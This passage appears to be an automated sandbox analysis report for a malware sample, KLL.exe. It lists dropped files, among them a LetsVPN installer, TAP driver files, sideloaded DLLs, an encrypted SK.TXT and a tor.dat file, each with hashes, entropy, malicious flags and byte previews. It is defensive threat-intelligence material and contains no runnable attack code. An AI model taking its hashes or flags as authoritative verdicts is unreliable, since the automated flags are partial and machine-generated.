C:\Program Files (x86)\letsvpn\driver\tap0901.cat

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Program Files (x86)\letsvpn\driver\tap0901.sys

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101536
Entropy (8bit):	5.597950959538587
Encrypted:	false
SSDEEP:	1536:ImYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7WfvZt9c:HYFZnRDGdvPXU6K1RW
MD5:	1E3CF83B17891AEE98C3E30012F0B034
SHA1:	824F299E8EFD95BECA7DD531A1067BFD5F03B646
SHA-256:	9F45A39015774EEAA2A6218793EDC8E6273EB9F764F3AEDEE5CF9E9CCACDB53F
SHA-512:	FA5CF687EEFD7A85B60C32542F5CB3186E1E835C01063681204B195542105E8718DA2F42F3E1F84DF6B0D49D7EEBAD6CB9855666301E9A1C5573455E25138A8B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv............................................... ....@.......... ..................................................h.......l....D...H...p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\ndp462-web.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1429344
Entropy (8bit):	7.9320530592846135
Encrypted:	false
SSDEEP:	24576:8XWYAlLlqSmtLvUDSRbm4Jah1rVxzY8Ja1xbLAAAOurzXuV1F+eAXvUS1vlPA:8mYAlLfeTUDBzrVxzYTOTOu3Xu5AX/l4
MD5:	B5A67867CDCE86E09E2625A6FA4D5FEA
SHA1:	C42E6ED280290648BBD59F664008852F4CFE4548
SHA-256:	5E21C85034311C51D8B0367A773D475AF2392B3DDCD90676C61697C6B5FD2E6A
SHA-512:	31D7081BFFEEB5F32457096E51A29236306E5D971DE7EDB80A51188BCCDA9B9F17F0C3593D30828FC140B7A023F5B6842BC922F2023C7B8EA3786C2DBEC40472
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......So....x...x...x.......x.0.....x......x.xx..<.x.xx....x.xx..~.x......x...y...x.....Q.x.......x.......x.......x.Rich..x.........................PE..L.....\V.........."......l...t...................@..........................@.......)....@...... ..................`z...................................>..........@................................V..@............................................text....j.......l.................. ..`.data...@7...........p..............@....idata..H...........................@..@.boxld01............................@..@.rsrc............ ..................@..@.reloc...(.......*..................@..B................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\packages\RELEASES

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	85
Entropy (8bit):	5.030867078172115
Encrypted:	false
SSDEEP:	3:1hhloYBl+zVfQ2OsJ1ERxrGE6:tlJlmfQ21ELGJ
MD5:	BC5CCF47A41F4A2D1E17D3A946107982
SHA1:	6A367ADCF75314100E39639A955063664704196D
SHA-256:	38336F464063498B67372D863050F610E9EE4AF0C7FCE89B4CF7A959D5B0C065
SHA-512:	CC79F94DCBE5C2F8C1B2B8872957FF7D1355FF3D1DF436797528EB2C12F8C0DECF19554B69551E1CB2F8BAB4E8EBC3CAB32BEC7D00F047D75527C46990EC0730
Malicious:	false
Preview:	.16D8F0925B586BA4517ED4B3A0C86F0D350F75E0 SquirrelLetsVPN-3.7.0-full.nupkg 12608658

C:\Program Files (x86)\letsvpn\uninst.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	108432
Entropy (8bit):	7.184393453515108
Encrypted:	false
SSDEEP:	3072:9TJ4TJdRVDZ6Lt+uweLlt3cgATZ+eWeH+BC/UN73qXwF:9VGdx6x/xJcgGZ+sUN73qXY
MD5:	A64ABDF54C91128B79BA4426032AAEED
SHA1:	89401C1AF279E122BBEAFB120B3EF53EEABE42F9
SHA-256:	6579DEA98961E4866FABA94B4BC202E732A2A48DDE07BDC497B2E9562134AD80
SHA-512:	A6881E493C9ED0021D04B5DD9B00184CA28192A21A3450F48EBB835FBEEED2CB327281EE9ACEA711AEBF2E464CFB62BF982447D54EEC1A7BFC4E1DCE500B6B38
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...<.oZ.................h...........3............@..........................@...........@..........................................p..............@....+...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata... ...P...........................rsrc........p......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\33100\Wo077~m7\SK.TXT

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	data
Category:	dropped
Size (bytes):	209640
Entropy (8bit):	7.999177905030001
Encrypted:	true
SSDEEP:	6144:dBzfkb8g9kic/0KgHkNi+TbB+MoT/yMQHH9s:dBDkgghcTgeTbHRMQna
MD5:	679448E9A47B9C959EF182C26EF2897B
SHA1:	0078996EC17F33E266295085AA04CF3F1B45B7F5
SHA-256:	384D6FD29F7D0A290DA1F564CF4FE7EF47DCB2B3FE3F676C12876C32DBC1D9A0
SHA-512:	68D3AA5F4758AB036FE805EE29F41B7DFB5CF1637C1E37BB1F5D1498CE4756C85F244998488B82335DD4F890B9E2C33FA28FCD637586BE9709E1D090EE6656C9
Malicious:	false
Preview:	...y.J..'........Q......."..5A..!j/s4BC.b.`.f.u.l..T.~....f?#.):.Sl.`.A.........0.N4%q.5.].tm..U........<...o.s}.....8Pz..r{.L.S_._x......a.....(<...H4O.(...N...K. ..<_.VS....,..P..~w...~........-.J..4S.>...{..fSV..0....8..._F...(D...(....p..kYF.L.I.CE..2=.....#.3I...Q..rc.>.z.w7hU....T..f..r8.).) X:&1qd.R.L.G.........E.n.R.w.Y.)cT...^..>....U.Z...O!y.1I)..J.....U.....5..6.). U.....!..f...V....&....x..%..b`VE..'i.......a....<....J.-W....N...#p......"./.d..98.(..0A@.9..6..s..W8us..u.#;rf..m..y..c}by .>.R.i..c...T...MlS...Qh....RT.e..z.ex"......(...;...S.S..R.1%i!.o....d.cm....f.`m..c..bpV..x..~@.w.....#.YJo.g p..V...Hm.)0..t...G.s...4..y.f.sb8)........K?......-...Y..lD.G...K.M...6........w....T..#.B..o..$...........Cy.....xC.eF`b...]...~..Q..C.....U}.Nb..K.....L.pr..R!.?...$q..N._d..+@.c...A..-f -...X.'[.....I...\..i.[.J..g.AU....oK.D.........kA.1....6;Eq..Dz`:......R....G.._&..J.e_.v..:.&.Go....\|"1.U.,~A.;.._P2.0.....p......BX....gW.~

C:\ProgramData\33100\Wo077~m7\a

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	data
Category:	dropped
Size (bytes):	1399296
Entropy (8bit):	6.56865238701383
Encrypted:	false
SSDEEP:	24576:NYHcEsHv1dwkFXu0RmyM8gcPKkHPzHGgpfpT5/e7qJ5pv:O8EsHv1dL//e7qJ5pv
MD5:	6B42AFD6E161EE8C54CDFB11B5AF9FFB
SHA1:	2E781314CE1D547E9E4B8BC081B09FDC2BC2E3EE
SHA-256:	1CC454D14CA5A589B30E609A3B9D092F157D0AFFD0A50FC381FC6211809710AC
SHA-512:	F3B3A236440122FD94D4832C0BFB3136F92E36C945E4F2E886D04ACA995420DE3E8DDC26CDA06E0A7E637205FE09B1BF4CDF77F7500D16FBDBC738A4AD3E381C
Malicious:	false
Preview:	M..U.u..E......C.+C..+.....P.C.+..+.....PS...5.._^..[..]...U..E.........E.........E........]....h....U..QQ.E..E..S+..]..E.....x...V..W.].......u..+.U........+.+.]..E.....+E..C..E...K..C..C..E..K......s._.s .C$.E.^.K..C(.K,[..]...j... ........e...$u...}.e...A.j.j.P..,1..P.M..M....u..u..u...\1...M.}..........@......U....../&.3.E.V.E.3.P.q .u.u..u.u....7..j.V.E.P..,5...E...^;E....U..M.;.}.;E.~..E....M..E..]..E..E..]..e.E.+E..E..E..]..u.M.3.......]...SW...w ..$7..P.m......t.V.w ...Gm..V...Qh.....s ..p6..^_[.U...,../&.3.E.SV..3.CW......;...r...............;.......3.9.................W...u*.....C4;.....t.G......;.....\|...................C<..S@...E.E...%t7...t....t....u+.CD.+......{D...KD...CD.+.......+{D.S@..+KD;M.u.;...N...WQ...............}.(..3....v ..$7..P.;...Ph...../.....YY..........X................._o....X............T....A.}.%.......}.&v..}.(............H;........G.....~..G.P.......<).....T.v ..$7..P....Ph.........YY....u............h...........n.......

C:\ProgramData\33100\Wo077~m7\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439608
Entropy (8bit):	6.652249319015373
Encrypted:	false
SSDEEP:	12288:oAoA7hbarg71r4RzfxjJhUgiW6QR7t5s03Ooc8dHkC2esq0Ju:oAoAN3r0Bm03Ooc8dHkC2eT0Ju
MD5:	1D8C79F293CA86E8857149FB4EFE4452
SHA1:	7474E7A5CB9C79C4B99FDF9FB50EF3011BEF7E8F
SHA-256:	C09B126E7D4C1E6EFB3FFCDA2358252CE37383572C78E56CA97497A7F7C793E4
SHA-512:	83C4D842D4B07BA5CEC559B6CD1C22AB8201941A667E7B173C405D2FC8862F7E5D9703E14BD7A1BABD75165C30E1A2C95F9D1648F318340EA5E2B145D54919B1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.C.4...4...4..t.I..4...L...4..Lm...4...4...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm}..4..Lm...4..Rich.4..........................PE..L.....U.........."!................ ........ ...........................................@A.........................A.......R..,....................v..8?.......:..0g..8............................)..@............P......P>..@....................text..."........................... ..`.data....'... ......................@....idata..2....P......................@..@.didat..4....p.......4..............@....rsrc................6..............@..@.reloc...:.......<...:..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\33100\Wo077~m7\s

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1399296
Entropy (8bit):	6.567433402650088
Encrypted:	false
SSDEEP:	24576:odxGJLTlwL/kWX4VxKZ+8vFT8PmO1qYP2tD8kJOaA7VKLGucdsSgg43/u:Cy2L/kje8OFJG+yk87AGuWl4vu
MD5:	7592B1B592DBEC1FCE9E1358ED7E9BDA
SHA1:	0D8A5A8647D8064D54430AE0167DAE7539960A10
SHA-256:	23987FC9BB6C34592C729A05528524A2D875F852AB62558FD80588075A5EA170
SHA-512:	12AB7F58EE31CDFFC03F5C69E87C3C52C520884C76184116F88FEEB3A29E3406B25E30F6BB64C8F3853549F92442009540FC62A35EE66660BF039664F0AB9455
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@......H1...................@.d\|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1......2....(.............@..@.reloc..d\|...@..~...6(.............@..B........................................................................................................................................................

C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	99904
Entropy (8bit):	6.435962118124312
Encrypted:	false
SSDEEP:	1536:xvQ8DfZL6Gp/N6EZZtS/PG4/L1VOKFcbXWIJJffAgv:xvQ8DZ2vEZZtS3FxVRiGCfhv
MD5:	8AA07B7C6C632F4EDF07A0E2B91F8566
SHA1:	2E72D725A845B532C19A422FB32DEB629F53C824
SHA-256:	DD8BFBB25430E7F19E24234494324264BE98AC0CC20B239E18B4DD35E26EC1BC
SHA-512:	A9B3EB0B0EAFC53ACE21E30C12CCB64B9FC152CDF52A4A2C0B395DC6F9D20181B3006DCE14A16226DF9010A68673BB71656D8A95AC0597A12D05C99D15E3F909
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+..E+..E+..E8.D)..E8.D'..Ej..D)..E8.D/..E8.D5..E"..E2..E+..E...Ej..D..Ej..D,..Ej.sE..E+..E..Ej..D..ERich+..E........................PE..L....)a[..........................................@.................................].....@.................................h...,.... ..H_...........r..@...............p........................... ...@...............T............................text.............................. ..`.rdata...n.......p..................@..@.data...............................@....rsrc...H_... ...`..................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\33100\Wo077~m7\uc_guilib.dll

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2798592
Entropy (8bit):	6.785357408096823
Encrypted:	false
SSDEEP:	49152:Cy2L/kje8OFJG+yk87AGuWl4vZ8EsHv1dL//e7qJ5pv:92jkje8KM+ykyAGuWl4h5sHv1N/
MD5:	222FC00C04823BAAEF6EA2406082DB6E
SHA1:	B4042DAFBD8DED61C64C8ED69B8DC06710950A01
SHA-256:	90BA55338412BFF084A981F67DA7FF07333C339C1965CFA23832442532247C50
SHA-512:	65C99E567C9BE76C94553DE46DE5F7B6C079630921A063897DC8C4EA0D7C2EC34634A2004F5C10135AD18A38BDB35E92CF3161638B3855E2C9D2216B3EE74877
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@......H1...................@.d\|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1......2....(.............@..@.reloc..d\|...@..~...6(.............@..B........................................................................................................................................................

C:\ProgramData\33100\Wo077~m7\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85328
Entropy (8bit):	6.8770791315221285
Encrypted:	false
SSDEEP:	1536:BTXU4YQD+JZoxeu8zIrBj3hGzHRb3izsQe1o8jsu0gD/TecbOjc8WsaBmiK:pXUlQDeexZTBozHRb3izsQe1o8E8ecbg
MD5:	B77EEAEAF5F8493189B89852F3A7A712
SHA1:	C40CF51C2EADB070A570B969B0525DC3FB684339
SHA-256:	B7C13F8519340257BA6AE3129AFCE961F137E394DDE3E4E41971B9F912355F5E
SHA-512:	A09A1B60C9605969A30F99D3F6215D4BF923759B4057BA0A5375559234F17D47555A84268E340FFC9AD07E03D11F40DD1F3FB5DA108D11EB7F7933B7D87F2DE3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^$Y..E7W.E7W.E7W..W.E7W.=.W.E7W.E6W3E7W..3V.E7W..4V.E7W..2V.E7W..?V.E7W..7V.E7W...W.E7W..5V.E7WRich.E7W........................PE..L.....U.........."!......... ...............................................P......r.....@A........................`................0..................P?...@....... ..8...........................X ..@............................................text...t........................... ..`.data...............................@....idata..............................@..@_RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.3588072191296206
Encrypted:	false
SSDEEP:	6:6xkoaaD0JOCEfMuaaD0JOCEfMKQmDhxkoaaD0JOCEfMuaaD0JOCEfMKQmD:maaD0JcaaD0JwQQ3aaD0JcaaD0JwQQ
MD5:	663C5D6018506231E334FB3EA962ED1C
SHA1:	539A4641CE92E57E4ADEE32750A817326E596D4C
SHA-256:	066CB701C03237D2612AA647E6BF08EF594360F96E433639B0CC9EED7335F1E1
SHA-512:	5F910653FD1B12B94D314EDEDF6EB2BEC70D369D921EB5B7CF4D199B0374D6C798336E39DBF2781F3B0457280E0DDA63BDF4861DF31C08152544B0F1039D5FCD
Malicious:	false
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.833728356617544
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugW:gJjJGtpTq2yv1AuNZRY3diu8iBVqFc
MD5:	9C30AB998DE8FF1FE302A9CD431269A9
SHA1:	58BE552C5FD78814969A814135AB4D03CB4E5EB1
SHA-256:	799806785C8F23288ADDE7955F410DB7522FD4136D66BAE97F93AF8196F17FE1
SHA-512:	69337CB830AC184949A2DA0B602FFD58097A272B597C2DB71E8BA6743564E1CE2652DD25749D0A7A365944F0DAC76F8E4CFF8832F79309116F63671D8341DC78
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1769e679, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6584744514170545
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:paza6xhzA2U8HDnAPZ4PZf9h/9h
MD5:	432D7AF384C6FD58F20B74E35F7AB7C4
SHA1:	9F378A9B6F1565D9ACF99C3C1CB8CE1E599ECF56
SHA-256:	88DE2B3046980E24A443356E6EE8F28B8FEEB9AF71DB250A2D9AB33042EBE324
SHA-512:	2AC63F7458917503F1D4EFEAEF52D05CBAE674D01E332E5515AD7BFC55878B9F4B3C5B43127471EFDEF60EAD8DA21F095DE2E6565B43731D242F4F06F1EE2C8E
Malicious:	false
Preview:	.i.y... ...............X\...;...{......................T.~......7...\|...4...\|..h.\|......7...\|..T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{.......................................7...\|..................K.f.7...\|...........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08047610478998533
Encrypted:	false
SSDEEP:	3:dOetYeIqXtyZH/3s4ZYoyXbmx6yHall58Kgvvl/QoeP/ll:drzrtyz/bx6Lz8KgR+t
MD5:	7156117F09C078986FA352CEA4146DE8
SHA1:	065D0D5DE5A6522C612052379A9376219C60BA88
SHA-256:	FD3E36037600B0370B351C7E0EA47A2E682EED4FC0B56B69896E101F276BD1BA
SHA-512:	6144A3B6814E01BED62F6D23ED723BADD5B6CE89E7A135700AEE95E1F33C25139BABB37D8C25351C61CADACA6439437A55EE573E8E5E7E8E09B6C7681234F1EB
Malicious:	false
Preview:	e..B.....................................;...{...4...\|...7...\|...........7...\|...7...\|..{b$..7...\|...................K.f.7...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ckq

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	15276447
Entropy (8bit):	7.998753884111449
Encrypted:	true
SSDEEP:	393216:8JJ1AboWROo2Q3d2sMNJ+Hmasukzz34qx4:8JJ1AtROo1YsM6Hmad+oH
MD5:	9437D784A2E279B14A4DC3CF259476FA
SHA1:	EC9664C8EF8750024002FD26E965BC003908D546
SHA-256:	885043FA2833789BE359A5C012076BC83F509DD4E70CA237A61B9C767ABB15D4
SHA-512:	97DBEE4E312921BF603BE17315E5DB6072FB460F70DFA464F54EB9543A39CED7FC7797B8B798ABEF579EF575610607FE908982AC983DA1AD3BB16B037BEA176D
Malicious:	false
Preview:	PK.........Y.X6L<.....(.......letsvpn-latest.exe.}xT.7..+.$.f.........h..8D'$.>..Cf@..!.d..&{#.D.w.l7......9........E<...%.Q.G!.....q...a.....g..s.<....^..^'...^..Z.^....Z;.{.0.c..i..d.........].........iX...KC..y.M..6..[U.n]...@]^....~]^.._...u333...0~}..-...M...+>.............f............BT.....fl....~.pO2m.......B.y#cV.)D...5.:>R.x...._..i...^..=......c/R.1.u....z.c........U.?.).m..)..P..A.?y..?.iu.P....c..a.......z1.........*.5s].`...k.G].....q.............W~..Aip..b....]....LiA.C.T+.....D.&.4..L~.......J.y.G./..<+.YR.y&.m..Y=-.iJ.T7.)+ZQ.(...n.....J......W.M{d..G...O.!..I.....W<..[9...XJ5..E.....a.......]....y..k9....2..l.....3....l..V..-.}...I...:m.l-g)jut..P....@..,....j%..E.m........R..#..N....7....,Cj......].IGI;..[Y.u.=..,.7o....)G\|.Gs...P....{.......h....)o....H...X....i~...n....^.q@.9...b..N._..........Ch:x..{..i....j+....a.W.P......d..P.TX....b.MH..5O..:sx'.=.]...s..y..N.H...V..l.Y.>...L.{d.. X...%........t...+.ZF.pNj.3!

C:\ProgramData\letsvpn-latest.exe

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	15382056
Entropy (8bit):	7.99696244933667
Encrypted:	true
SSDEEP:	196608:Lz/DARUOMn1C69maJR/v/IMUMeaxI7cXRFhGaJ26TpB+cKdFy65Fo+uLEeBYk5rW:HDp/9mEvZUMecIUGaJfOdFy65UDKZR
MD5:	7CE62DC191CEE9DD1488C9D0A25FEDA4
SHA1:	6A93A38644691389622E1C5CDD3BAF3CA429D0C1
SHA-256:	6342D9126585047B6ECE614946B139FF3CC98ACA024CE368FADCEE1DDFE0D88E
SHA-512:	1FAC206D9D52CC1054283948119F6C830367724F46BF4572F843855BEEE7E4CAA0BC17FEC09E725404E5880DCE15742BC5E40A6EC8CC21A2D6799232BA7D293D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...<.oZ.................h...........3............@..........................@...........@..........................................p..............@....+...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata... ...P...........................rsrc........p......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tor.dat

Download File

Process:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	28
Entropy (8bit):	3.892724905113432
Encrypted:	false
SSDEEP:	3:8VEoc2RD/QRnJ:8Vu2D8J
MD5:	90B31CBD64B21CEEE5FDCD35A39BADCC
SHA1:	1CAF5C1AF088A32350A88818435D987AD7171CA8
SHA-256:	A0ED979105AE1283F35114BD9FEE0B2C0DC8179305C08F447E4BADBF55744E8B
SHA-512:	8CBEACF121FB34159A375293B0845F0AAEF599AF555C65B0B2B145B0C2DB36D5630BD48D3F2B186CD496379411B7ECAE4DA18AECE07373920AC2314B75E8D0B2
Malicious:	false
Preview:	tLa0utG2t9G0tsa2uby5tLyzvqY=

C:\Users\user\AppData\Local\LetsVPN\LetsPRO.exe_Url_0oczbjylb1galocprl35cp3mvj2urvw0\AppCenter.config (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	5.069095364336689
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAa8LDMBlTqqyGUqnSQ7ovNF9ULVuuQIMOn:TMVBd1IGpOSAMBluqQqfofG3QIT
MD5:	47D1C568C359210A256879814B292B4C
SHA1:	934062BAD1A6F2968392FB8646EEEFC988136654
SHA-256:	EECE5D7A3D324BA814C06FE6536BB9E1E23F06730F56B4062A19CA445F7CC865
SHA-512:	35A9C8F1B16A651A6C8CAC0F0FFFEC4AF5416A7922C541778F2EC5A5015EAE60ECFFC7B7C8D90EC78A3361CF572F8C1BBEE8FEC41EB57F95E03639B6452A9318
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterInstallId" value="b5b3d101-fc1f-4a77-80cb-75f75047a1f4" />.. </appSettings>..</configuration>

C:\Users\user\AppData\Local\LetsVPN\LetsPRO.exe_Url_0oczbjylb1galocprl35cp3mvj2urvw0\ciuc0yk4.newcfg

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	5.069095364336689
Encrypted:	false
